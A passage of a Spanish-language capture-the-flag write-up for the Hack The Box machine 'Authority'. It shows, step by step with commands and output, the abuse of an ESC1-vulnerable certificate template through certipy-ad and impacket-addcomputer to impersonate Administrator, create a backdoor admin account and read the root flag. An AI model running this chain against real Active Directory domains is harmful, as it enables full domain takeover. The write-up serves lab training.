*Evil-WinRM* PS C:\Certs>
Ya tenemos el certificado en local:
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# ls -la | grep LDAPs
-rw-r--r-- 1 root root 4933 mar 15 04:32 LDAPs.pfx
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─#
Ahora vamos a ejecutar "certipy-ad" para ver que permisos y grupos hay dentro de la maquina objetivo:
certipy-ad find -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!' -target authority.htb -text -stdout -vulnerable
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# certipy-ad find -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!' -target authority.htb -text -stdout -vulnerable
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 37 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[!] Failed to resolve: authority.authority.htb
[*] Trying to get CA configuration for 'AUTHORITY-CA' via CSRA
[!] Got error while trying to get CA configuration for 'AUTHORITY-CA' via CSRA: [Errno -2] Name or service not known
[*] Trying to get CA configuration for 'AUTHORITY-CA' via RRP
[!] Got error while trying to get CA configuration for 'AUTHORITY-CA' via RRP: [Errno Connection error (authority.authority.htb:445)] [Errno -2] Name or service not known
[!] Failed to get CA configuration for 'AUTHORITY-CA'
[!] Failed to resolve: authority.authority.htb
[!] Got error while trying to check for web enrollment: [Errno -2] Name or service not known
[*] Enumeration output:
Certificate Authorities
0
CA Name : AUTHORITY-CA
DNS Name : authority.authority.htb
Certificate Subject : CN=AUTHORITY-CA, DC=authority, DC=htb
Certificate Serial Number : 2C4E1F3CA46BBDAF42A1DDE3EC33A6B4
Certificate Validity Start : 2023-04-24 01:46:26+00:00
Certificate Validity End : 2123-04-24 01:56:25+00:00
Web Enrollment : Disabled
User Specified SAN : Unknown
Request Disposition : Unknown
Enforce Encryption for Requests : Unknown
Certificate Templates
0
Template Name : CorpVPN
Display Name : Corp VPN
Certificate Authorities : AUTHORITY-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : AutoEnrollmentCheckUserDsCertificate
PublishToDs
IncludeSymmetricAlgorithms
Private Key Flag : ExportableKey
Extended Key Usage : Encrypting File System
Secure Email
Client Authentication
Document Signing
IP security IKE intermediate
IP security use
KDC Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 20 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : AUTHORITY.HTB\Domain Computers
AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
Object Control Permissions
Owner : AUTHORITY.HTB\Administrator
Write Owner Principals : AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
AUTHORITY.HTB\Administrator
Write Dacl Principals : AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
AUTHORITY.HTB\Administrator
Write Property Principals : AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
AUTHORITY.HTB\Administrator
[!] Vulnerabilities
ESC1 : 'AUTHORITY.HTB\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─#
Tenemos el nombre de la plantilla de este certificado:
Template Name : CorpVPN
Tambien tenemos un grupo que puede añadir equipos nuevos dentro de esta maquina:
Enrollment Rights : AUTHORITY.HTB\Domain Computers
3.4 impacket-addcomputer
3.4 impacket-addcomputer
Ya sabiendo esto, vamos a utilizar una herramienta para crear un equipo nuevo dentro de la maquina, para eso vamos a utilizar la herramienta "impacket-addcomputer" para que nos cree un equipo
impacket-addcomputer authority.htb/svc_ldap:lDaP_1n_th3_cle4r! -dc-ip 10.10.11.222 -computer-name 'user1' -computer-pass 'user123'
Con este comando le estamos especificando el dominio del DC, el usuario y la contraseña, le especificamos la IP del DC, un nombre para el equipo(user1) y la contraseña(user123)
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# impacket-addcomputer authority.htb/svc_ldap:lDaP_1n_th3_cle4r! -dc-ip 10.10.11.222 -computer-name 'user1' -computer-pass 'user123'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account user1$ with password user123.
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─#
Ahora teniendo el equipo creado, las credenciales quedarian de la siguiente manera, ya que la herramienta "impacket-addcomputer" realiza algunos cambios:
Usuario: user1$
Contraseña: user123
3.5 Obtención del certificado Administrator
3.5 Obtención del certificado Administrator
Vamos a obtener el certificado de Administrator con este equipo que hemos creado, para eso utilizaremos la herramienta anteriormente mencionada "certipy-ad"
:
certipy-ad req -username 'user1$' -password 'user123' -ca AUTHORITY-CA -dc-ip 10.10.11.222 -template CorpVPN -upn Administrator@authority.htb -dns authority.htb
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# certipy-ad req -username 'user1$' -password 'user123' -ca AUTHORITY-CA -dc-ip 10.10.11.222 -template CorpVPN -upn Administrator@authority.htb -dns authority.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 4
[*] Got certificate with multiple identifications
UPN: 'Administrator@authority.htb'
DNS Host Name: 'authority.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_authority.pfx'
(Ojo, quizas es necesario ejecutar el comando mas de una vez, ya que esto funciona con el serivico NetBIOS de Windows de la maquina)
Ahora tenemos el certificado
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# ls -la | grep administrator
-rw-r--r-- 1 root root 3104 mar 15 05:01 administrator_authority.pfx
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─#
3.6 Obtención de shell LDAP con maximos privilegios
3.6 Obtención de shell LDAP con maximos privilegios
Y ahora vamos a obtener una shell con privilegios elevados utilizando este certificado de Administrator, para eso utilizaremos nuevamente "certipy-ad":
certipy-ad auth -pfx administrator_authority.pfx -dc-ip 10.10.11.222 -ldap-shell
Con este comando estamos indicando que nos queremos autenticar con el certificado de Administrator que acabamos de obtener, le estamos indicando la IP del controlador de dominio y por ultimo queremos que nos abra una shell LDAP
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# certipy-ad auth -pfx administrator_authority.pfx -dc-ip 10.10.11.222 -ldap-shell
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Connecting to 'ldaps://10.10.11.222:636'
[*] Authenticated to '10.10.11.222' as: u:HTB\Administrator
Type help for list of commands
#
Ya somos usuarios Administrator:
# whoami
u:HTB\Administrator
#
3.7 Creación de un usuario Administrador
3.7 Creación de un usuario Administrador
Ahora, esta consola es restrictiva, en sí, no es una PowerShell como las que se obtienen normalmente con evil-winrm, con esta consola podemos añadir un usuario dentro de la maquina y añadirlo al grupo de Administradores
Creamos el usuario "admin1":
# add_user admin1
Attempting to create user in: %s CN=Users,DC=authority,DC=htb
Adding new user with username: admin1 and password: 0~fcO$^z3k7LUfc result: OK
#
Y lo agregamos al grupo de Administradores:
# add_user_to_group admin1 Administrators
Adding user: admin1 to group Administrators result: OK
#
Y ahora vamos a entrar mediante evil-winrm con este usuario, recordemos que cuando creamos el usuario "admin1" nos genero una contraseña:
Usuario: admin1
Contraseña: 0~fcO$^z3k7LUfc
evil-winrm -i 10.10.11.222 -u 'admin1' -p '0~fcO$^z3k7LUfc'
┌──(root㉿t0mz)-[/home/kali]
└─# evil-winrm -i 10.10.11.222 -u 'admin1' -p '0~fcO$^z3k7LUfc'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\admin1\Documents>
3.8 Obtención de la flag root
3.8 Obtención de la flag root
La flag de root se encuentra dentro de la ruta absoluta "C:\Users\Administrator\Desktop\root.txt"
, vamos a visualizar la flag:
*Evil-WinRM* PS C:\Users\admin1\Documents> type C:\Users\Administrator\Desktop\root.txt
be2cfbb5d7280ae2a77f49bc76470970
*Evil-WinRM* PS C:\Users\admin1\Documents>
Con esto, concluimos la maquina "Authority" de Hack The Box
Espero te haya sido de ayuda este Write Up :)
Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales
Última actualización